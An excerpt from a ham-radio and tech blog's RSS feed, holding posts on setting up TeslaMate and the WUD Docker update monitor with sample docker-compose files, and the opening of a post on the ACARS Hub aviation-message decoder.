<p>The post <a href="https://hamradio.my/2025/07/penetration-testing-with-metasploit-docker-image/">Penetration Testing with Metasploit Docker Image</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/penetration-testing-with-metasploit-docker-image/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>TeslaMate: The Ultimate Self-Hosted Data Logger for Your Tesla</title>
		<link>https://hamradio.my/2025/07/teslamate-the-ultimate-self-hosted-data-logger-for-your-tesla/</link>
					<comments>https://hamradio.my/2025/07/teslamate-the-ultimate-self-hosted-data-logger-for-your-tesla/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Tue, 01 Jul 2025 17:04:32 +0000</pubDate>
				<category><![CDATA[containerization]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[tesla]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[chargingstats]]></category>
		<category><![CDATA[dataanalytics]]></category>
		<category><![CDATA[datavisualization]]></category>
		<category><![CDATA[developer]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[elixir]]></category>
		<category><![CDATA[energyconsumption]]></category>
		<category><![CDATA[evdata]]></category>
		<category><![CDATA[evmonitoring]]></category>
		<category><![CDATA[fleetmanagement]]></category>
		<category><![CDATA[grafana]]></category>
		<category><![CDATA[homeassistant]]></category>
		<category><![CDATA[MQTT]]></category>
		<category><![CDATA[node-red]]></category>
		<category><![CDATA[opensource]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[selfhosted]]></category>
		<category><![CDATA[smartcar]]></category>
		<category><![CDATA[techsavvy]]></category>
		<category><![CDATA[teslafi]]></category>
		<category><![CDATA[teslamate]]></category>
		<category><![CDATA[tripdata]]></category>
		<category><![CDATA[vehicletracking]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7576</guid>

					<description><![CDATA[<p>If you&#8217;re a Tesla owner who values data, privacy, and control, you&#8217;re in for a treat. TeslaMate is a powerful, open-source data logger that allows you to collect, visualize, and analyze every aspect of your Tesla&#8217;s performance—right from your own infrastructure. Whether you&#8217;re a developer, a data enthusiast, or someone who simply loves to geek [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/teslamate-the-ultimate-self-hosted-data-logger-for-your-tesla/">TeslaMate: The Ultimate Self-Hosted Data Logger for Your Tesla</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">If you&#8217;re a Tesla owner who values data, privacy, and control, you&#8217;re in for a treat. <strong>TeslaMate</strong> is a powerful, open-source data logger that allows you to collect, visualize, and analyze every aspect of your Tesla&#8217;s performance—right from your own infrastructure.</p>



<p class="wp-block-paragraph">Whether you&#8217;re a developer, a data enthusiast, or someone who simply loves to geek out over EV metrics, TeslaMate offers a comprehensive solution to monitor your vehicle&#8217;s health, efficiency, and usage patterns.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What Is TeslaMate?</h2>



<p class="wp-block-paragraph">TeslaMate is a self-hosted application that connects to your Tesla account via the official API. It retrieves real-time data about your vehicle&#8217;s state, charging sessions, trips, and more. This data is then stored in a PostgreSQL database and visualized through Grafana dashboards.</p>



<p class="wp-block-paragraph">With TeslaMate, you can track:</p>



<ul class="wp-block-list">
<li><strong>Battery Health</strong>: Monitor your battery&#8217;s state of health and degradation over time.</li>



<li><strong>Charging Stats</strong>: Analyze charging sessions, including energy added, cost, and efficiency.</li>



<li><strong>Drive Metrics</strong>: Record trip details such as distance, energy consumption, and driving behavior.</li>



<li><strong>Vehicle Status</strong>: Keep tabs on your car&#8217;s location, online/offline status, and more.</li>
</ul>



<p class="wp-block-paragraph">All of this is presented in a clean, intuitive web interface, ensuring you have all the insights you need at your fingertips.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2699.png" alt="⚙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Key Features</h2>



<h3 class="wp-block-heading">1. <strong>High Precision Drive Data Recording</strong></h3>



<p class="wp-block-paragraph">TeslaMate captures detailed drive data, including energy consumption, distance traveled, and driving behavior. This allows you to analyze your driving habits and identify areas for improvement. </p>



<h3 class="wp-block-heading">2. <strong>No Additional Vampire Drain</strong></h3>



<p class="wp-block-paragraph">TeslaMate is designed to minimize energy consumption. It ensures that your vehicle falls asleep as soon as possible, preventing unnecessary battery drain.</p>



<h3 class="wp-block-heading">3. <strong>Automatic Address Lookup</strong></h3>



<p class="wp-block-paragraph">The application automatically converts GPS coordinates into human-readable addresses, making it easier to understand your vehicle&#8217;s locations during trips.</p>



<h3 class="wp-block-heading">4. <strong>Easy Integration with Home Assistant</strong></h3>



<p class="wp-block-paragraph">TeslaMate supports integration with Home Assistant via MQTT, allowing you to incorporate your Tesla&#8217;s data into your smart home automation system.</p>



<h3 class="wp-block-heading">5. <strong>Geo-Fencing</strong></h3>



<p class="wp-block-paragraph">Create custom locations to track when your vehicle enters or exits specific areas. This feature is useful for monitoring charging stations, home locations, or other points of interest.</p>



<h3 class="wp-block-heading">6. <strong>Multiple Vehicle Support</strong></h3>



<p class="wp-block-paragraph">TeslaMate supports multiple vehicles per Tesla account, making it ideal for owners of more than one Tesla.</p>



<h3 class="wp-block-heading">7. <strong>Charge Cost Tracking</strong></h3>



<p class="wp-block-paragraph">Track the cost of charging your vehicle by setting custom electricity rates for different locations. This helps you understand your charging expenses and optimize your usage.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Installation Guide</h2>



<p class="wp-block-paragraph">Setting up TeslaMate is straightforward, especially if you&#8217;re familiar with Docker. Here&#8217;s a basic <code>docker-compose.yml</code> configuration:</p>



<pre class="wp-block-code"><code>version: "3.3"
services:
  teslamate:
    image: teslamate/teslamate:latest
    restart: always
    environment:
      - ENCRYPTION_KEY=your_secure_key
      - DATABASE_USER=teslamate
      - DATABASE_PASS=your_password
      - DATABASE_NAME=teslamate
      - DATABASE_HOST=database
      - MQTT_HOST=mosquitto
    ports:
      - "4000:4000"
    volumes:
      - ./import:/opt/app/import
    cap_drop:
      - all
  database:
    image: postgres:17
    restart: always
    environment:
      - POSTGRES_USER=teslamate
      - POSTGRES_PASSWORD=your_password
      - POSTGRES_DB=teslamate
    volumes:
      - ./postgres:/var/lib/postgresql/data
  mosquitto:
    image: eclipse-mosquitto
    restart: always
    ports:
      - "1883:1883"
    volumes:
      - ./mosquitto:/mosquitto/config
</code></pre>



<p class="wp-block-paragraph">After setting up your <code>docker-compose.yml</code>, run:</p>



<pre class="wp-block-code"><code>docker-compose up -d
</code></pre>



<p class="wp-block-paragraph">Once the containers are up and running, you can access the TeslaMate web interface at <code>http://localhost:4000</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ca.png" alt="📊" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Visualizing Your Data</h2>



<p class="wp-block-paragraph">TeslaMate comes bundled with Grafana dashboards that provide a comprehensive view of your vehicle&#8217;s data. These dashboards include:</p>



<ul class="wp-block-list">
<li><strong>Battery Health</strong>: Track your battery&#8217;s state of health and degradation over time.</li>



<li><strong>Charging Stats</strong>: Analyze charging sessions, including energy added, cost, and efficiency.</li>



<li><strong>Drive Metrics</strong>: Record trip details such as distance, energy consumption, and driving behavior.</li>



<li><strong>Vehicle Status</strong>: Keep tabs on your car&#8217;s location, online/offline status, and more.</li>
</ul>



<p class="wp-block-paragraph">You can customize these dashboards to suit your preferences or create new ones to monitor specific metrics.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f504.png" alt="🔄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Integrations and Automation</h2>



<p class="wp-block-paragraph">TeslaMate supports integration with various platforms and services:</p>



<ul class="wp-block-list">
<li><strong>Home Assistant</strong>: Integrate TeslaMate with your smart home automation system via MQTT.</li>



<li><strong>Node-RED</strong>: Use Node-RED to create custom automation workflows based on TeslaMate data.</li>



<li><strong>Telegram</strong>: Receive notifications about your vehicle&#8217;s status and events via Telegram.</li>
</ul>



<p class="wp-block-paragraph">These integrations allow you to automate tasks such as sending notifications when your vehicle reaches a specific location or when a charging session is complete.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e1.png" alt="🛡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Data Privacy and Security</h2>



<p class="wp-block-paragraph">One of the standout features of TeslaMate is its commitment to data privacy. Unlike cloud-based services, TeslaMate stores all your data locally, giving you full control over it. Your Tesla account credentials are encrypted and never stored in plaintext. Additionally, TeslaMate minimizes energy consumption to prevent unnecessary battery drain.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c8.png" alt="📈" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Real-World Use Cases</h2>



<p class="wp-block-paragraph">TeslaMate is ideal for various scenarios:</p>



<ul class="wp-block-list">
<li><strong>Personal Use</strong>: Monitor your driving habits, track charging costs, and keep an eye on your vehicle&#8217;s health.</li>



<li><strong>Fleet Management</strong>: For businesses with multiple Teslas, TeslaMate provides a centralized dashboard to monitor all vehicles.</li>



<li><strong>Data Analysis</strong>: Researchers and data enthusiasts can analyze Tesla data for insights into EV performance and usage patterns.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h2>



<p class="wp-block-paragraph">TeslaMate is a robust, feature-rich solution for Tesla owners who want to take control of their vehicle&#8217;s data. Its self-hosted nature ensures privacy and customization, while its integrations and visualizations provide valuable insights into your driving and charging behaviors.</p>



<p class="wp-block-paragraph">Whether you&#8217;re a developer, a data enthusiast, or someone who simply loves to geek out over EV metrics, TeslaMate offers a comprehensive solution to monitor your vehicle&#8217;s health, efficiency, and usage patterns.</p>



<p class="wp-block-paragraph"><a href="https://github.com/teslamate-org/teslamate"><strong>https://github.com/teslamate-org/teslamate</strong></a></p>



<h2 class="wp-block-heading"></h2>
<p>The post <a href="https://hamradio.my/2025/07/teslamate-the-ultimate-self-hosted-data-logger-for-your-tesla/">TeslaMate: The Ultimate Self-Hosted Data Logger for Your Tesla</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/teslamate-the-ultimate-self-hosted-data-logger-for-your-tesla/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Keeping Your Docker Containers Fresh with WUD</title>
		<link>https://hamradio.my/2025/07/keeping-your-docker-containers-fresh-with-wud/</link>
					<comments>https://hamradio.my/2025/07/keeping-your-docker-containers-fresh-with-wud/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Mon, 30 Jun 2025 16:59:39 +0000</pubDate>
				<category><![CDATA[containerization]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[maintenance]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[containers]]></category>
		<category><![CDATA[containersecurity]]></category>
		<category><![CDATA[devops]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockercompose]]></category>
		<category><![CDATA[dockertools]]></category>
		<category><![CDATA[dockerupdate]]></category>
		<category><![CDATA[homelab]]></category>
		<category><![CDATA[imageupdate]]></category>
		<category><![CDATA[opensource]]></category>
		<category><![CDATA[selfhosted]]></category>
		<category><![CDATA[selfhosting]]></category>
		<category><![CDATA[softwaretools]]></category>
		<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[whatsupdocker]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7573</guid>

					<description><![CDATA[<p>In today&#8217;s fast-paced DevOps world, running applications in containers is the norm. Docker has revolutionized the way we deploy and scale software, but managing those containers—especially ensuring they&#8217;re up to date—can be a manual and tedious task. This is where WUD, short for What&#8217;s Up Docker, steps in as a game-changer. WUD is a lightweight, [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/keeping-your-docker-containers-fresh-with-wud/">Keeping Your Docker Containers Fresh with WUD</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">In today&#8217;s fast-paced DevOps world, running applications in containers is the norm. Docker has revolutionized the way we deploy and scale software, but managing those containers—especially ensuring they&#8217;re up to date—can be a manual and tedious task.</p>



<p class="wp-block-paragraph">This is where <strong>WUD</strong>, short for <strong>What&#8217;s Up Docker</strong>, steps in as a game-changer.</p>



<p class="wp-block-paragraph">WUD is a lightweight, open-source solution that continuously monitors your running Docker containers and alerts you when new versions of the base images are available. It saves time, ensures better security, and brings automation to your software maintenance workflow. If you&#8217;re running a homelab, hosting your own services, or managing production infrastructure, WUD is an essential tool in your DevOps toolbox.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Should You Care About Image Updates?</h2>



<p class="wp-block-paragraph">Let’s face it—container image updates often carry critical fixes:</p>



<ul class="wp-block-list">
<li><strong>Security patches</strong> that close zero-day exploits</li>



<li><strong>Performance improvements</strong> that enhance your service responsiveness</li>



<li><strong>Bug fixes and new features</strong> that your applications benefit from immediately</li>
</ul>



<p class="wp-block-paragraph">Not updating means you’re running outdated, potentially vulnerable software. But manually checking all containers regularly is unrealistic. Automating this check is the smartest move—and that’s exactly what WUD offers.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Meet WUD: What&#8217;s Up Docker</h2>



<p class="wp-block-paragraph">WUD is a smart container update monitor. It inspects the Docker images behind your currently running containers and checks if newer versions are available in the registries. If it finds updates, WUD notifies you instantly—helping you take immediate action.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f527.png" alt="🔧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Built for Flexibility</h3>



<p class="wp-block-paragraph">WUD integrates beautifully with:</p>



<ul class="wp-block-list">
<li>Docker</li>



<li>Docker Compose</li>



<li>Private or public registries</li>



<li>A wide range of notification platforms (email, Slack, MQTT, webhooks)</li>
</ul>



<p class="wp-block-paragraph">It supports <strong>custom triggers</strong> and <strong>regex filtering</strong>, giving you full control over how you track and react to image updates.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Web UI: Your Update Control Tower</h2>



<p class="wp-block-paragraph">The included <strong>web interface</strong> is clean, intuitive, and mobile-friendly. From a centralized dashboard, you can:</p>



<ul class="wp-block-list">
<li>View all running containers</li>



<li>See the image version in use</li>



<li>Get update availability in real-time</li>



<li>Customize monitoring preferences</li>
</ul>



<p class="wp-block-paragraph">This turns WUD from just another background service into a powerful UI-driven monitoring assistant.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Getting Started in 5 Minutes</h2>



<p class="wp-block-paragraph">Deploying WUD is surprisingly simple. Here&#8217;s a basic example using Docker Compose:</p>



<pre class="wp-block-code"><code>version: "3.3"
services:
  wud:
    image: fmartinou/whats-up-docker
    container_name: wud
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
    ports:
      - "3000:3000"
    environment:
      - WUD_TRIGGER_EMAIL_TO=you@example.com
      - WUD_TRIGGER_EMAIL_SMTP_HOST=smtp.example.com
      - WUD_TRIGGER_EMAIL_SMTP_PORT=587
      - WUD_TRIGGER_EMAIL_SMTP_USERNAME=your_username
      - WUD_TRIGGER_EMAIL_SMTP_PASSWORD=your_password
</code></pre>



<p class="wp-block-paragraph">Once it&#8217;s running, visit <code>http://localhost:3000</code> (or your server’s IP) to access the web dashboard.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ac.png" alt="💬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Notifications: Choose Your Channel</h2>



<p class="wp-block-paragraph">WUD can send notifications via:</p>



<ul class="wp-block-list">
<li><strong>Email</strong>: Ideal for personal servers or smaller teams.</li>



<li><strong>Slack</strong>: Integrates well with DevOps pipelines.</li>



<li><strong>MQTT</strong>: Perfect for IoT/automation setups.</li>



<li><strong>Webhooks</strong>: Trigger custom update workflows (like automatic redeploys or backups).</li>
</ul>



<p class="wp-block-paragraph">You can even set up <strong>multiple triggers per container</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e1.png" alt="🛡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Stay Secure, Stay Updated</h2>



<p class="wp-block-paragraph">Running outdated containers can expose your system to vulnerabilities. WUD helps you avoid this by:</p>



<ul class="wp-block-list">
<li>Prompting early patching</li>



<li>Monitoring containers 24/7</li>



<li>Supporting multi-arch and registry-compatible images</li>
</ul>



<p class="wp-block-paragraph">It doesn&#8217;t replace update automation tools like Watchtower, but complements them with <strong>granular visibility</strong> before updates are applied.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f525.png" alt="🔥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Real-World Use Cases</h2>



<p class="wp-block-paragraph">Here are some great examples of WUD in the wild:</p>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Self-hosted services</strong>: Running Pi-hole, Home Assistant, Nextcloud? Get alerts before your services become outdated or vulnerable.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f468-200d-1f4bb.png" alt="👨‍💻" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Development environments</strong>: Developers using Docker-based stacks can be notified of new base images (Node, Python, Java) for better consistency and performance.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6f0.png" alt="🛰" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Production clusters</strong>: Ops teams can integrate WUD with CI/CD pipelines to schedule updates safely.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Homelab setups</strong>: Perfect for tinkerers and home sysadmins to maintain their containers easily.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e9.png" alt="🧩" class="wp-smiley" style="height: 1em; max-height: 1em;" /> WUD vs. Watchtower</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Feature</th><th>WUD</th><th>Watchtower</th></tr></thead><tbody><tr><td>Web UI</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Yes</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> No</td></tr><tr><td>Notification</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Flexible</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Email, Slack</td></tr><tr><td>Auto-updates</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> No</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Yes</td></tr><tr><td>Transparency</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> High control</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Can be automatic</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Use <strong>WUD for visibility</strong>, and <strong>Watchtower</strong> if you want automatic image pulls and container redeploys.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f91d.png" alt="🤝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Community &amp; Support</h2>



<p class="wp-block-paragraph">WUD is open-source and actively developed on GitHub:<br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://github.com/getwud/wud">https://github.com/getwud/wud</a></p>



<p class="wp-block-paragraph">You’ll find extensive <a href="https://getwud.github.io/wud/">documentation</a> covering everything from basic setup to advanced features, like authentication, registry credentials, and notifications via third-party services.</p>



<p class="wp-block-paragraph">Got issues or feature ideas? Just open an issue and join the community discussions.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h2>



<p class="wp-block-paragraph">Keeping containers up to date should never be an afterthought. With WUD, you&#8217;re no longer flying blind when it comes to Docker image updates. Whether you’re a sysadmin, homelabber, DevOps engineer, or a curious tinkerer, WUD gives you real-time visibility and control over what’s running in your infrastructure.</p>



<p class="wp-block-paragraph">Try it once—WUD will become your new best friend in Docker image hygiene.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> TL;DR</h2>



<ul class="wp-block-list">
<li>WUD = “What’s Up Docker”</li>



<li>Monitors Docker containers for image updates</li>



<li>Notifies you via email, Slack, MQTT, or webhook</li>



<li>Has a clean and powerful web UI</li>



<li>Easy to set up and fully customizable</li>
</ul>



<p class="wp-block-paragraph">Keep your containers fresh and your system secure with WUD.</p>
<p>The post <a href="https://hamradio.my/2025/07/keeping-your-docker-containers-fresh-with-wud/">Keeping Your Docker Containers Fresh with WUD</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/keeping-your-docker-containers-fresh-with-wud/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>A Look into ACARS Hub and How to Set It Up on Your SDR System</title>
		<link>https://hamradio.my/2025/06/a-look-into-acars-hub-and-how-to-set-it-up-on-your-sdr-system/</link>
					<comments>https://hamradio.my/2025/06/a-look-into-acars-hub-and-how-to-set-it-up-on-your-sdr-system/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Mon, 30 Jun 2025 14:16:28 +0000</pubDate>
				<category><![CDATA[9M2PJU]]></category>
		<category><![CDATA[amateur radio]]></category>
		<category><![CDATA[aviation]]></category>
		<category><![CDATA[ham radio]]></category>
		<category><![CDATA[radio amatur]]></category>
		<category><![CDATA[acars]]></category>
		<category><![CDATA[acarsdec]]></category>
		<category><![CDATA[adsb]]></category>
		<category><![CDATA[airband]]></category>
		<category><![CDATA[aircraftmonitoring]]></category>
		<category><![CDATA[airframes]]></category>
		<category><![CDATA[AmateurRadio]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dumpvdl2]]></category>
		<category><![CDATA[flighttracking]]></category>
		<category><![CDATA[hfdl]]></category>
		<category><![CDATA[iridium]]></category>
		<category><![CDATA[liveatc]]></category>
		<category><![CDATA[openaviationdata]]></category>
		<category><![CDATA[RaspberryPi]]></category>
		<category><![CDATA[rtl-sdr]]></category>
		<category><![CDATA[satdump]]></category>
		<category><![CDATA[sdr]]></category>
		<category><![CDATA[vdlm2]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=8112</guid>

					<description><![CDATA[<p>If you’re enthusiastic about software-defined radio (SDR), aircraft communications, or decoding digital signals, there’s an intriguing open-source project worth exploring: ACARS Hub, developed by the sdr-enthusiasts community. This project consolidates multiple aviation data sources—ACARS, VDLM2, HFDL, Iridium, and Inmarsat L-Band—into a powerful, containerized web platform. It caters not only to enthusiasts but also to anyone [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/06/a-look-into-acars-hub-and-how-to-set-it-up-on-your-sdr-system/">A Look into ACARS Hub and How to Set It Up on Your SDR System</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">If you’re enthusiastic about software-defined radio (SDR), aircraft communications, or decoding digital signals, there’s an intriguing open-source project worth exploring: ACARS Hub, developed by the sdr-enthusiasts community. This project consolidates multiple aviation data sources—ACARS, VDLM2, HFDL, Iridium, and Inmarsat L-Band—into a powerful, containerized web platform. It caters not only to enthusiasts but also to anyone interested in gaining a deeper, human-readable understanding of the communications between aircraft and ground stations.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">What Is ACARS Hub?</h3>



<p class="wp-block-paragraph">ACARS Hub is a <strong>Docker container</strong> designed to collect, parse, and visualize messages from a variety of aircraft communication systems. If you’ve ever used <code>acarsdec</code>, <code>dumpvdl2</code>, or <code>dumphfdl</code>, you’ll know that raw output can be technical and terse. ACARS Hub improves on this by enriching the decoded messages with data from the amazing team at Airframes.io, making messages easier to read and interpret.</p>



<p class="wp-block-paragraph">It works across architectures—<code>amd64</code>, <code>arm64</code>, <code>armv7</code>, <code>armv6</code>, and even <code>386</code>—making it perfect for devices like the Raspberry Pi.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">What You’ll Need</h3>



<p class="wp-block-paragraph">To get started, you’ll need:</p>



<ul class="wp-block-list">
<li>A Linux system that can run Docker (a Raspberry Pi works great)</li>



<li>One or more RTL-SDR dongles (at least one for ACARS, ideally a second for VDLM2)</li>



<li>Docker and Docker Compose</li>



<li>One or more SDR decoders (see below)</li>
</ul>



<p class="wp-block-paragraph">Decoding support includes:</p>



<ul class="wp-block-list">
<li><code>acarsdec</code> (recommended: airframes fork)</li>



<li><code>dumpvdl2</code> (preferred VDLM2 decoder)</li>



<li><code>vdlm2dec</code></li>



<li><code>dumphfdl</code></li>



<li><code>satdump</code> for Inmarsat</li>



<li><code>gr-iridium</code> toolkit for Iridium</li>



<li><code>JAERO</code> for L-band satellite decoding</li>
</ul>



<p class="wp-block-paragraph">All these decoders can run externally and push decoded JSON to ACARS Hub over UDP.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Ports and Connectivity</h3>



<p class="wp-block-paragraph">Here are the main ports you&#8217;ll deal with:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Protocol</th><th>Purpose</th></tr></thead><tbody><tr><td><code>80/tcp</code></td><td>Web UI</td></tr><tr><td><code>5550/udp</code></td><td>ACARS input</td></tr><tr><td><code>5555/udp</code></td><td>VDLM2 input</td></tr><tr><td><code>5556/udp</code></td><td>HFDL input</td></tr><tr><td><code>5557/udp</code></td><td>Inmarsat input</td></tr><tr><td><code>5558/udp</code></td><td>Iridium input</td></tr><tr><td><code>15550</code> to <code>15558</code></td><td>Exposed ports for external program access</td></tr></tbody></table></figure>



